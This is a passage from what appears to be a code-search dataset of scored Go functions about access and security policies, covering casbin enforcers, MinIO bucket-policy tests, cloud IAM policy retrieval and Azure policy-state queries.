cast.ToInt(policyItem.FrequencyInterval),\n\t\t\tFrequencyType: cast.ToString(policyItem.FrequencyType),\n\t\t\tRetentionUnit: cast.ToString(policyItem.RetentionUnit),\n\t\t\tRetentionValue: cast.ToInt(policyItem.RetentionValue),\n\t\t}\n\t\tpolicyItems = append(policyItems, cPolicyItem)\n\t}\n\treturn policyItems\n}", "title": "" }, { "docid": "57eb7ba8b6c5ea21f606bac8f84799f1", "score": "0.48390305", "text": "func (changes AllowedParamsChanges) filterByParamChange(paramChange paramsproposal.ParamChange) AllowedParamsChanges {\n\tfiltered := []AllowedParamsChange{}\n\tfor _, p := range changes {\n\t\tif paramChange.Subspace == p.Subspace && paramChange.Key == p.Key {\n\t\t\tfiltered = append(filtered, p)\n\t\t}\n\t}\n\treturn filtered\n}", "title": "" }, { "docid": "046c9a8ad452a96c82fccc35bff6bf01", "score": "0.483746", "text": "func (m *PoliciesRequestBuilder) PermissionGrantPolicies()(*i94e6a9fd02466104e1f244dfcb22cf331ccf308e2f911adea2fe5a4a87bf5ccc.PermissionGrantPoliciesRequestBuilder) {\n return i94e6a9fd02466104e1f244dfcb22cf331ccf308e2f911adea2fe5a4a87bf5ccc.NewPermissionGrantPoliciesRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "880d5d00569f81c16cc01cd339e33e38", "score": "0.48336723", "text": "func (ReportFilter) Policy() ent.Policy {\n\treturn authz.NewPolicy(\n\t\tauthz.WithMutationRules(\n\t\t\tprivacy.AlwaysAllowRule(),\n\t\t),\n\t)\n}", "title": "" }, { "docid": "da1a5c42674ec7cc80a8e6b8bc25f105", "score": "0.4827997", "text": "func (s *policyLister) Policies(namespace string) PolicyNamespaceLister {\n\treturn policyNamespaceLister{indexer: s.indexer, namespace: namespace}\n}", "title": "" }, { "docid": "3d17cb9e76118fa3152769d339654bf3", "score": "0.4825019", "text": "func ApplyPolicyFiles(t *testing.T, env *kube.Environment, namespace string, fileNames []string) []*TestPolicy {\n\tvar testPolicies []*TestPolicy\n\tfor _, fileName := range fileNames {\n\t\ttestPolicies = append(testPolicies, ApplyPolicyAnyFilePath(t, env, namespace, fileName))\n\t}\n\treturn testPolicies\n}", "title": "" }, { "docid": "6e0e74d23afd299a6e8d47b7222464e9", "score": "0.48242742", "text": "func (r ApiGetSdwanVmanageAccountPolicyListRequest) Filter(filter string) ApiGetSdwanVmanageAccountPolicyListRequest {\n\tr.filter = &filter\n\treturn r\n}", "title": "" }, { "docid": "25011f713d7e52257d9b6ac46357b831", "score": "0.48196715", "text": "func NewGetProjectsProjectIDWebhookPoliciesForbidden() *GetProjectsProjectIDWebhookPoliciesForbidden {\n\treturn &GetProjectsProjectIDWebhookPoliciesForbidden{}\n}", "title": "" }, { "docid": "5fd4e56e3a62667c22e8f081cd9f8898", "score": "0.48190683", "text": "func (r ApiGetKvmPolicyListRequest) Filter(filter string) ApiGetKvmPolicyListRequest {\n\tr.filter = &filter\n\treturn r\n}", "title": "" }, { "docid": "9bf4577c68465d6a3a25943c48fa3861", "score": "0.48181757", "text": "func (v *version) ProjectIamPolicies() ProjectIamPolicyInformer {\n\treturn &projectIamPolicyInformer{factory: v.factory, namespace: v.namespace, tweakListOptions: v.tweakListOptions}\n}", "title": "" }, { "docid": "40bbd5a4227e2faf7d957523686647cd", "score": "0.48052818", "text": "func flattenPolicies(policies []mongodbatlas.Policy) []ApiPolicyView {\n\tsnapPolicies := make([]ApiPolicyView, 0)\n\tfor _, policy := range policies {\n\t\tsnapPolicy := ApiPolicyView{\n\t\t\tID: &policy.ID,\n\t\t\tPolicyItems: flattenPolicyItems(policy.PolicyItems),\n\t\t}\n\t\tsnapPolicies = append(snapPolicies, snapPolicy)\n\t}\n\treturn snapPolicies\n}", "title": "" }, { "docid": "78b1a5cae7b9ade1b1bee31cd90dfe68", "score": "0.48008493", "text": "func testWebListAllBucketPoliciesHandler(obj ObjectLayer, instanceType string, t TestErrHandler) {\n\t// Register the API end points with XL/FS object layer.\n\tapiRouter := initTestWebRPCEndPoint(obj)\n\tcredentials := globalServerConfig.GetCredential()\n\n\tauthorization, err := getWebRPCToken(apiRouter, credentials.AccessKey, credentials.SecretKey)\n\tif err != nil {\n\t\tt.Fatal(\"Cannot authenticate\")\n\t}\n\n\trec := httptest.NewRecorder()\n\n\tbucketName := getRandomBucketName()\n\tif err = obj.MakeBucketWithLocation(context.Background(), bucketName, \"\"); err != nil {\n\t\tt.Fatal(\"Unexpected error: \", err)\n\t}\n\n\tfunc1, err := condition.NewStringEqualsFunc(condition.S3Prefix, \"hello\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create string equals condition function. %v\", err)\n\t}\n\n\tbucketPolicy := &policy.Policy{\n\t\tVersion: policy.DefaultVersion,\n\t\tStatements: []policy.Statement{\n\t\t\tpolicy.NewStatement(\n\t\t\t\tpolicy.Allow,\n\t\t\t\tpolicy.NewPrincipal(\"*\"),\n\t\t\t\tpolicy.NewActionSet(policy.GetBucketLocationAction),\n\t\t\t\tpolicy.NewResourceSet(policy.NewResource(bucketName, \"\")),\n\t\t\t\tcondition.NewFunctions(),\n\t\t\t),\n\t\t\tpolicy.NewStatement(\n\t\t\t\tpolicy.Allow,\n\t\t\t\tpolicy.NewPrincipal(\"*\"),\n\t\t\t\tpolicy.NewActionSet(policy.ListBucketAction),\n\t\t\t\tpolicy.NewResourceSet(policy.NewResource(bucketName, \"\")),\n\t\t\t\tcondition.NewFunctions(func1),\n\t\t\t),\n\t\t\tpolicy.NewStatement(\n\t\t\t\tpolicy.Allow,\n\t\t\t\tpolicy.NewPrincipal(\"*\"),\n\t\t\t\tpolicy.NewActionSet(policy.ListBucketMultipartUploadsAction),\n\t\t\t\tpolicy.NewResourceSet(policy.NewResource(bucketName, \"\")),\n\t\t\t\tcondition.NewFunctions(),\n\t\t\t),\n\t\t\tpolicy.NewStatement(\n\t\t\t\tpolicy.Allow,\n\t\t\t\tpolicy.NewPrincipal(\"*\"),\n\t\t\t\tpolicy.NewActionSet(\n\t\t\t\t\tpolicy.AbortMultipartUploadAction,\n\t\t\t\t\tpolicy.DeleteObjectAction,\n\t\t\t\t\tpolicy.GetObjectAction,\n\t\t\t\t\tpolicy.ListMultipartUploadPartsAction,\n\t\t\t\t\tpolicy.PutObjectAction,\n\t\t\t\t),\n\t\t\t\tpolicy.NewResourceSet(policy.NewResource(bucketName, \"hello*\")),\n\t\t\t\tcondition.NewFunctions(),\n\t\t\t),\n\t\t},\n\t}\n\n\tif err = savePolicyConfig(context.Background(), obj, bucketName, bucketPolicy); err != nil {\n\t\tt.Fatal(\"Unexpected error: \", err)\n\t}\n\n\ttestCaseResult1 := []BucketAccessPolicy{{\n\t\tBucket: bucketName,\n\t\tPrefix: \"hello\",\n\t\tPolicy: miniogopolicy.BucketPolicyReadWrite,\n\t}}\n\ttestCases := []struct {\n\t\tbucketName string\n\t\texpectedResult []BucketAccessPolicy\n\t}{\n\t\t{bucketName, testCaseResult1},\n\t}\n\n\tfor i, testCase := range testCases {\n\t\targs := &ListAllBucketPoliciesArgs{BucketName: testCase.bucketName}\n\t\treply := &ListAllBucketPoliciesRep{}\n\t\treq, err := newTestWebRPCRequest(\"Web.ListAllBucketPolicies\", authorization, args)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Test %d: Failed to create HTTP request: <ERROR> %v\", i+1, err)\n\t\t}\n\t\tapiRouter.ServeHTTP(rec, req)\n\t\tif rec.Code != http.StatusOK {\n\t\t\tt.Fatalf(\"Test %d: Expected the response status to be 200, but instead found `%d`\", i+1, rec.Code)\n\t\t}\n\t\tif err = getTestWebRPCResponse(rec, &reply); err != nil {\n\t\t\tt.Fatalf(\"Test %d: Should succeed but it didn't, %v\", i+1, err)\n\t\t}\n\t\tif !reflect.DeepEqual(testCase.expectedResult, reply.Policies) {\n\t\t\tt.Fatalf(\"Test %d: expected: %v, got: %v\", i+1, testCase.expectedResult, reply.Policies)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2f8509492c2c00ff9f4b3c6c41e63916", "score": "0.47976387", "text": "func (p *Policy) Name(name string) *Policy {\n\tp.filters = append(p.filters, func(v interface{}) bool {\n\t\tpolicy := convert(v)\n\t\tif policy == nil {\n\t\t\treturn false\n\t\t}\n\t\tshared.Debugf(\"%s like %s -> %t\\n\", name, aws.StringValue(policy.PolicyName), strings.EqualFold(name, aws.StringValue(policy.PolicyName)))\n\t\treturn strings.EqualFold(name, aws.StringValue(policy.PolicyName))\n\t})\n\treturn p\n}", "title": "" }, { "docid": "6bcd1c16a220697f2e27d88206909ddb", "score": "0.47873193", "text": "func (s *grpcService) GetFilteredGroupingPolicy(ctx context.Context, req *pb.FilteredPolicyRequest) (*pb.Array2DResponse, error) {\n\t_, resp, err := s.getFilteredGroupingPolicy.ServeGRPC(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.(*pb.Array2DResponse), nil\n}", "title": "" }, { "docid": "13b2055d63e0bba9115a18ba51be93bc", "score": "0.4784884", "text": "func TestPolicyOperator_AddPolicies(t *testing.T) {\n\tctl := gomock.NewController(t)\n\tdefer ctl.Finish()\n\n\te := mocks.NewMockIDistributedEnforcer(ctl)\n\n\tdir, err := ioutil.TempDir(\"\", \"casbin-hraft-\")\n\tassert.NoError(t, err)\n\tdefer os.RemoveAll(dir)\n\n\tp, err := NewPolicyOperator(dir, e)\n\tassert.NoError(t, err)\n\n\te.EXPECT().AddPoliciesSelf(nil, \"p\", \"p\", [][]string{{\"role:admin\", \"/\", \"*\"}, {\"role:user\", \"/\", \"GET\"}}).Return([][]string{{\"role:admin\", \"/\", \"*\"}, {\"role:user\", \"/\", \"GET\"}}, nil)\n\terr = p.AddPolicies(\"p\", \"p\", [][]string{{\"role:admin\", \"/\", \"*\"}, {\"role:user\", \"/\", \"GET\"}})\n\tassert.NoError(t, err)\n}", "title": "" }, { "docid": "608c8e10889759678a26a093ad01adf5", "score": "0.47823521", "text": "func List(client *gophercloud.ServiceClient, opts ListOptsBuilder) pagination.Pager {\n\turl := policyListURL(client)\n\tif opts != nil {\n\t\tquery, err := opts.ToPolicyListQuery()\n\t\tif err != nil {\n\t\t\treturn pagination.Pager{Err: err}\n\t\t}\n\t\turl += query\n\t}\n\n\treturn pagination.NewPager(client, url, func(r pagination.PageResult) pagination.Page {\n\t\tp := PolicyPage{pagination.MarkerPageBase{PageResult: r}}\n\t\tp.MarkerPageBase.Owner = p\n\t\treturn p\n\t})\n}", "title": "" }, { "docid": "717307dfdbcdbaee5f31c7d878e3f6a2", "score": "0.4774464", "text": "func ExtractPolicies(r pagination.Page) ([]Policy, error) {\n\tvar s []Policy\n\terr := ExtractPolicysInto(r, &s)\n\treturn s, err\n}", "title": "" }, { "docid": "cbb1d8f7ad8fea398efaec53e81546cb", "score": "0.47737142", "text": "func (s *Store) ListPolicies(ctx context.Context, txn storage.Transaction) ([]string, error) {\n\treturn s.inmem.ListPolicies(ctx, getRealTxn(txn))\n}", "title": "" }, { "docid": "ab6e8fec3f42d5b5db9c4f03c14fe0a0", "score": "0.47699568", "text": "func (d *DistributedEnforcer) RemoveFilteredPolicySelf(shouldPersist func() bool, sec string, ptype string, fieldIndex int, fieldValues ...string) (affected [][]string, err error) {\n\td.m.Lock()\n\tdefer d.m.Unlock()\n\tif shouldPersist != nil && shouldPersist() {\n\t\tif err := d.adapter.RemoveFilteredPolicy(sec, ptype, fieldIndex, fieldValues...); err != nil {\n\t\t\tif err.Error() != notImplemented {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\t_, affected = d.model.RemoveFilteredPolicy(sec, ptype, fieldIndex, fieldValues...)\n\n\tif sec == \"g\" {\n\t\terr := d.BuildIncrementalRoleLinks(model.PolicyRemove, ptype, affected)\n\t\tif err != nil {\n\t\t\treturn affected, err\n\t\t}\n\t}\n\n\treturn affected, nil\n}", "title": "" }, { "docid": "82d240e04834efed38b06f203ccdf99a", "score": "0.47587082", "text": "func Test_DeletePolicyFilesForOrg(t *testing.T) {\n\n\tpolicyPath := \"/tmp/policyfiletest/\"\n\n\t// setup test\n\tif err := cleanTestDir(policyPath); err != nil {\n\t\tt.Errorf(err.Error())\n\t}\n\n\tpa := `{\"header\":{\"name\":\"producer\",\"version\": \"2.0\"}}`\n\tpb := `{\"header\":{\"name\":\"pws_bluehorizon.network-workloads-weather_e2edev_amd64\",\"version\": \"2.0\"},` +\n\t\t`\"patternId\": \"e2edev/pws1\",` +\n\t\t`\"agreementProtocols\":[{\"name\":\"Basic\",\"protocolVersion\":1}],` +\n\t\t`\"workloads\":[{\"priority\":{\"priority_value\":3,\"retries\":1,\"retry_durations\":3600,\"verified_durations\":52},` +\n\t\t`\"workloadUrl\":\"https://bluehorizon.network/workloads/weather\",` +\n\t\t`\"organization\":\"e2edev\",\"version\":\"1.5.0\",\"arch\":\"amd64\"}` +\n\t\t`],\"valueExchange\":{},` +\n\t\t`\"dataVerification\":{\"enabled\":true,\"interval\":240,\"check_rate\":15,\"metering\":{\"tokens\":1,\"per_time_unit\":\"min\",\"notification_interval\":30}},` +\n\t\t`\"proposalRejection\":{}}`\n\tpc := `{\"header\":{\"name\":\"pws_bluehorizon.network-workloads-weather_e2edev_amd64\",\"version\": \"2.0\"},` +\n\t\t`\"patternId\": \"IBM/pws2\",` +\n\t\t`\"agreementProtocols\":[{\"name\":\"Basic\",\"protocolVersion\":1}],` +\n\t\t`\"workloads\":[{\"priority\":{\"priority_value\":3,\"retries\":1,\"retry_durations\":3600,\"verified_durations\":52},` +\n\t\t`\"workloadUrl\":\"https://bluehorizon.network/workloads/weather\",` +\n\t\t`\"organization\":\"e2edev\",\"version\":\"1.5.0\",\"arch\":\"amd64\"}` +\n\t\t`],\"valueExchange\":{},` +\n\t\t`\"dataVerification\":{\"enabled\":true,\"interval\":240,\"check_rate\":15,\"metering\":{\"tokens\":1,\"per_time_unit\":\"min\",\"notification_interval\":30}},` +\n\t\t`\"proposalRejection\":{}}`\n\n\tpd := `{\"header\":{\"name\":\"split netspeed policy\",\"version\":\"2.0\"},` +\n\t\t`\"agreementProtocols\":[{\"name\":\"Basic\"}],` +\n\t\t`\"workloads\":[{\"workloadUrl\":\"https://bluehorizon.network/workloads/netspeed\",\"version\":\"2.3.0\",\"arch\":\"amd64\"}],` +\n\t\t`\"dataVerification\":{\"enabled\":true,\"URL\":\"\",\"interval\":600,\"metering\":{\"tokens\":4,\"per_time_unit\":\"min\",\"notification_interval\":30}},` +\n\t\t`\"maxAgreements\":2,\"nodeHealth\":{\"missing_heartbeat_interval\":600,\"check_agreement_status\":15}}`\n\n\tif p1 := create_Policy(pa, t); p1 == nil {\n\t\tt.Errorf(\"Error: returned %v, should have returned %v\\n\", p1, pa)\n\t} else if p2 := create_Policy(pb, t); p2 == nil {\n\t\tt.Errorf(\"Error: returned %v, should have returned %v\\n\", p2, pb)\n\t} else if p3 := create_Policy(pc, t); p3 == nil {\n\t\tt.Errorf(\"Error: returned %v, should have returned %v\\n\", p3, pc)\n\t} else if p4 := create_Policy(pd, t); p2 == nil {\n\t\tt.Errorf(\"Error: returned %v, should have returned %v\\n\", p4, pd)\n\t} else if file_pa, err := CreatePolicyFile(policyPath, \"e2edev\", \"pa\", p1); err != nil {\n\t\tt.Errorf(\"Error save the policy pa to a file. %v\", err)\n\t} else if file_pb, err := CreatePolicyFile(policyPath, \"e2edev\", \"pb\", p2); err != nil {\n\t\tt.Errorf(\"Error save the policy pa to a file. %v\", err)\n\t} else if file_pc, err := CreatePolicyFile(policyPath, \"IBM\", \"pc\", p3); err != nil {\n\t\tt.Errorf(\"Error save the policy pa to a file. %v\", err)\n\t} else if file_pd, err := CreatePolicyFile(policyPath, \"IBM\", \"pd\", p4); err != nil {\n\t\tt.Errorf(\"Error save the policy pa to a file. %v\", err)\n\t} else if _, err := os.Stat(file_pa); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not.\", file_pa)\n\t} else if _, err := os.Stat(file_pb); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not.\", file_pb)\n\t} else if _, err := os.Stat(file_pc); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not.\", file_pc)\n\t} else if _, err := os.Stat(file_pd); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not.\", file_pd)\n\t\t// delete pattern based policy files\n\t} else if err := DeletePolicyFilesForOrg(policyPath, \"e2edev\", true); err != nil {\n\t\tt.Errorf(\"Failed to delete the policy files for e2edev. %v\", err)\n\t} else if _, err := os.Stat(file_pb); !os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should have been deleted but not\", file_pb)\n\t} else if _, err := os.Stat(file_pa); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not\", file_pa)\n\t\t// delete all policy files\n\t} else if err := DeletePolicyFilesForOrg(policyPath, \"e2edev\", false); err != nil {\n\t\tt.Errorf(\"Failed to delete all the policy files for org e2edev. %v\", err)\n\t} else if _, err := os.Stat(file_pa); !os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should have been deleted but not\", file_pa)\n\t} else if _, err := os.Stat(file_pc); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not\", file_pc)\n\t} else if _, err := os.Stat(file_pd); os.IsNotExist(err) {\n\t\tt.Errorf(\"File %v should exist but not\", file_pd)\n\t}\n}", "title": "" }, { "docid": "fdd41f77b39408cfaa47d45e7b271479", "score": "0.47505668", "text": "func (client *ClientImpl) GetPolicyEvaluations(ctx context.Context, args GetPolicyEvaluationsArgs) (*[]PolicyEvaluationRecord, error) {\n\trouteValues := make(map[string]string)\n\tif args.Project == nil || *args.Project == \"\" {\n\t\treturn nil, &azuredevops.ArgumentNilOrEmptyError{ArgumentName: \"args.Project\"}\n\t}\n\trouteValues[\"project\"] = *args.Project\n\n\tqueryParams := url.Values{}\n\tif args.ArtifactId == nil {\n\t\treturn nil, &azuredevops.ArgumentNilError{ArgumentName: \"artifactId\"}\n\t}\n\tqueryParams.Add(\"artifactId\", *args.ArtifactId)\n\tif args.IncludeNotApplicable != nil {\n\t\tqueryParams.Add(\"includeNotApplicable\", strconv.FormatBool(*args.IncludeNotApplicable))\n\t}\n\tif args.Top != nil {\n\t\tqueryParams.Add(\"$top\", strconv.Itoa(*args.Top))\n\t}\n\tif args.Skip != nil {\n\t\tqueryParams.Add(\"$skip\", strconv.Itoa(*args.Skip))\n\t}\n\tlocationId, _ := uuid.Parse(\"c23ddff5-229c-4d04-a80b-0fdce9f360c8\")\n\tresp, err := client.Client.Send(ctx, http.MethodGet, locationId, \"5.1-preview.1\", routeValues, queryParams, nil, \"\", \"application/json\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar responseValue []PolicyEvaluationRecord\n\terr = client.Client.UnmarshalCollectionBody(resp, &responseValue)\n\treturn &responseValue, err\n}", "title": "" }, { "docid": "0fdbff33e832611ac10ebafa60fe017c", "score": "0.47488692", "text": "func GetFullyInheritedPolicy(projectID string) *crmv1.Policy {\n\tclient, err := google.DefaultClient(oauth2.NoContext, iam.CloudPlatformScope)\n\tif err != nil {\n\t\tlog.Fatalf(\"Couldn't create google client: %v\", err)\n\t}\n\n\tvar resultsPolicy *crmv1.Policy\n\n\tprojectsService, err := crmv1.New(client)\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to create Project service: %v\", err)\n\t}\n\tfoldersService, err := crmv2.New(client)\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to create Resource Manager service: %v\", err)\n\t}\n\n\tproj, err := projectsService.Projects.Get(projectID).Do()\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to get project: %v\", err)\n\t}\n\tvar gipr = new(crmv1.GetIamPolicyRequest)\n\tprojectPolicy, err := projectsService.Projects.GetIamPolicy(projectID, gipr).Do()\n\tresultsPolicy = projectPolicy\n\n\tvar parentType = proj.Parent.Type\n\tif parentType == \"folder\" {\n\t\tvar parentID = \"folders/\" + proj.Parent.Id\n\t\tfolder, err := foldersService.Folders.Get(parentID).Do()\n\t\tfolderPolicy, err := foldersService.Folders.GetIamPolicy(parentID, new(crmv2.GetIamPolicyRequest)).Do()\n\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Unable to get folder policy: %v\", err)\n\t\t}\n\t\tresultsPolicy = MergePolicy(resultsPolicy, ConvertStructV2toV1(folderPolicy))\n\t\tvar currentParent = folder.Parent\n\n\t\tfor strings.HasPrefix(currentParent, \"folder\") {\n\t\t\tvar nextParent, err = foldersService.Folders.Get(currentParent).Do()\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Unable to get folder policy: %v\", err)\n\t\t\t}\n\t\t\tfolderPolicy, err := foldersService.Folders.GetIamPolicy(nextParent.Name, new(crmv2.GetIamPolicyRequest)).Do()\n\t\t\tresultsPolicy = MergePolicy(resultsPolicy, ConvertStructV2toV1(folderPolicy))\n\t\t\tcurrentParent = nextParent.Parent\n\t\t}\n\t}\n\n\tvar parentID = \"organizations/\" + proj.Parent.Id\n\torgPolicy, err := projectsService.Organizations.GetIamPolicy(parentID, gipr).Do()\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to get folder policy: %v\", err)\n\t}\n\n\tresultsPolicy = MergePolicy(resultsPolicy, orgPolicy)\n\treturn resultsPolicy\n}", "title": "" }, { "docid": "14a111da0308af33b311234a881bdd8f", "score": "0.4748071", "text": "func (s *grpcService) GetFilteredNamedGroupingPolicy(ctx context.Context, req *pb.FilteredPolicyRequest) (*pb.Array2DResponse, error) {\n\t_, resp, err := s.getFilteredNamedGroupingPolicy.ServeGRPC(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.(*pb.Array2DResponse), nil\n}", "title": "" }, { "docid": "c373235d038ecfb1a14d2ee447335c3b", "score": "0.47467932", "text": "func (_ERC20PresetMinterPauser *ERC20PresetMinterPauserFilterer) FilterApproval(opts *bind.FilterOpts, owner []common.Address, spender []common.Address) (*ERC20PresetMinterPauserApprovalIterator, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\tvar spenderRule []interface{}\n\tfor _, spenderItem := range spender {\n\t\tspenderRule = append(spenderRule, spenderItem)\n\t}\n\n\tlogs, sub, err := _ERC20PresetMinterPauser.contract.FilterLogs(opts, \"Approval\", ownerRule, spenderRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &ERC20PresetMinterPauserApprovalIterator{contract: _ERC20PresetMinterPauser.contract, event: \"Approval\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "c373235d038ecfb1a14d2ee447335c3b", "score": "0.47467932", "text": "func (_ERC20PresetMinterPauser *ERC20PresetMinterPauserFilterer) FilterApproval(opts *bind.FilterOpts, owner []common.Address, spender []common.Address) (*ERC20PresetMinterPauserApprovalIterator, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\tvar spenderRule []interface{}\n\tfor _, spenderItem := range spender {\n\t\tspenderRule = append(spenderRule, spenderItem)\n\t}\n\n\tlogs, sub, err := _ERC20PresetMinterPauser.contract.FilterLogs(opts, \"Approval\", ownerRule, spenderRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &ERC20PresetMinterPauserApprovalIterator{contract: _ERC20PresetMinterPauser.contract, event: \"Approval\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "02f3714c4b9305e4861838d3527dd52f", "score": "0.4738717", "text": "func (p *Policy) ID(id string) *Policy {\n\tp.filters = append(p.filters, func(v interface{}) bool {\n\t\tpolicy := convert(v)\n\t\tif policy == nil {\n\t\t\treturn false\n\t\t}\n\t\tshared.Debugf(\"%s == %s -> %t\\n\", id, aws.StringValue(policy.PolicyId), id == aws.StringValue(policy.PolicyId))\n\t\treturn id == aws.StringValue(policy.PolicyId)\n\t})\n\treturn p\n}", "title": "" }, { "docid": "034b152d187f75c5f2957ac61199fb2c", "score": "0.47358206", "text": "func ExamplePolicyStatesClient_NewListQueryResultsForSubscriptionPager_filterAndGroupWithoutAggregate() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armpolicyinsights.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpager := clientFactory.NewPolicyStatesClient().NewListQueryResultsForSubscriptionPager(armpolicyinsights.PolicyStatesResourceLatest, \"fffedd8f-ffff-fffd-fffd-fffed2f84852\", &armpolicyinsights.QueryOptions{Top: to.Ptr[int32](2),\n\t\tFilter: to.Ptr(\"IsCompliant eq false and (PolicyDefinitionAction ne 'audit' and PolicyDefinitionAction ne 'append')\"),\n\t\tOrderBy: nil,\n\t\tSelect: nil,\n\t\tFrom: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \"2019-10-05T18:00:00Z\"); return t }()),\n\t\tTo: nil,\n\t\tApply: to.Ptr(\"groupby((PolicyAssignmentId, PolicyDefinitionId, PolicyDefinitionAction, ResourceId))\"),\n\t\tSkipToken: nil,\n\t\tExpand: nil,\n\t}, nil)\n\tfor pager.More() {\n\t\tpage, err := pager.NextPage(ctx)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"failed to advance page: %v\", err)\n\t\t}\n\t\tfor _, v := range page.Value {\n\t\t\t// You could use page here. We use blank identifier for just demo purposes.\n\t\t\t_ = v\n\t\t}\n\t\t// If the HTTP response code is 200 as defined in example definition, your page structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\n\t\t// page.PolicyStatesQueryResults = armpolicyinsights.PolicyStatesQueryResults{\n\t\t// \tODataContext: to.Ptr(\"https://management.azure.com/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/providers/Microsoft.PolicyInsights/policyStates/$metadata#latest\"),\n\t\t// \tODataCount: to.Ptr[int32](2),\n\t\t// \tValue: []*armpolicyinsights.PolicyState{\n\t\t// \t\t{\n\t\t// \t\t\tODataContext: to.Ptr(\"https://management.azure.com/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/providers/Microsoft.PolicyInsights/policyStates/$metadata#latest/$entity\"),\n\t\t// \t\t\tPolicyAssignmentID: to.Ptr(\"/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/providers/microsoft.authorization/policyassignments/enable monitoring in azure security center\"),\n\t\t// \t\t\tPolicyDefinitionAction: to.Ptr(\"auditifnotexists\"),\n\t\t// \t\t\tPolicyDefinitionID: to.Ptr(\"/providers/microsoft.authorization/policydefinitions/44452482-524f-4bf4-b852-0bff7cc4a3ed\"),\n\t\t// \t\t\tResourceID: to.Ptr(\"/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/resourcegroups/myrg/providers/microsoft.network/virtualnetworks/vnet\"),\n\t\t// \t\t},\n\t\t// \t\t{\n\t\t// \t\t\tODataContext: to.Ptr(\"https://management.azure.com/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/providers/Microsoft.PolicyInsights/policyStates/$metadata#latest/$entity\"),\n\t\t// \t\t\tPolicyAssignmentID: to.Ptr(\"/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/providers/microsoft.authorization/policyassignments/89b27f38-e9e4-4468-ab81-801c84b8c017\"),\n\t\t// \t\t\tPolicyDefinitionAction: to.Ptr(\"auditifnotexists\"),\n\t\t// \t\t\tPolicyDefinitionID: to.Ptr(\"/providers/microsoft.authorization/policydefinitions/44452482-524f-4bf4-b852-0bff7cc4a3ed\"),\n\t\t// \t\t\tResourceID: to.Ptr(\"/subscriptions/fffedd8f-ffff-fffd-fffd-fffed2f84852/resourcegroups/myrg/providers/microsoft.network/virtualnetworks/vnet\"),\n\t\t// \t}},\n\t\t// }\n\t}\n}", "title": "" }, { "docid": "7d8a0abb31fdfcddfb187ea580779c26", "score": "0.47347593", "text": "func SupportedPolicies() []string {\n\tp := make([]string, len(supportedPolicies))\n\n\ti := 0\n\tfor k := range supportedPolicies {\n\t\tp[i] = k\n\t\ti++\n\t}\n\n\treturn p\n}", "title": "" }, { "docid": "0891c72543bd0c9da43c077831f14437", "score": "0.4734163", "text": "func (m *MultiFactorManager) Policy(opts ...RequestOption) (p *MultiFactorPolicies, err error) {\n\terr = m.Request(\"GET\", m.URI(\"guardian\", \"policies\"), &p, opts...)\n\treturn\n}", "title": "" }, { "docid": "354dc2d4ea0efe53e99b2e6953f72590", "score": "0.47268373", "text": "func (h *PolicyHandler) Filter() func(string) string {\n\treturn nil\n}", "title": "" }, { "docid": "bc60b72863898572afb693648fc302cf", "score": "0.47249734", "text": "func (pcc *PccClient) GetPolicies() (result []policy.Policy, err error) {\n\terr = pcc.Get(\"pccserver/policies\", &result)\n\treturn\n}", "title": "" }, { "docid": "a5142a78dd4c980558ae106d5818ac42", "score": "0.4724863", "text": "func (o *FpolicyCollectionGetParams) SetPoliciesName(policiesName *string) {\n\to.PoliciesName = policiesName\n}", "title": "" }, { "docid": "23b1689f830b203022ed90a247d8bbef", "score": "0.47225487", "text": "func (c *API) WatchEventPolicies() error {\n\n\tif c.ResolverClient == nil {\n\t\tlog.Info(\"Controller API: Resolver client is not set yet\")\n\t\treturn fmt.Errorf(\"Controller API: Resolver client is not set yet\")\n\t}\n\n\tvar err error\n\tnodeName := c.InfraAPI.GetDscName()\n\tdefLogger := log.GetDefaultInstance()\n\tstoreConfig := &events.StoreConfig{\n\t\tDir: 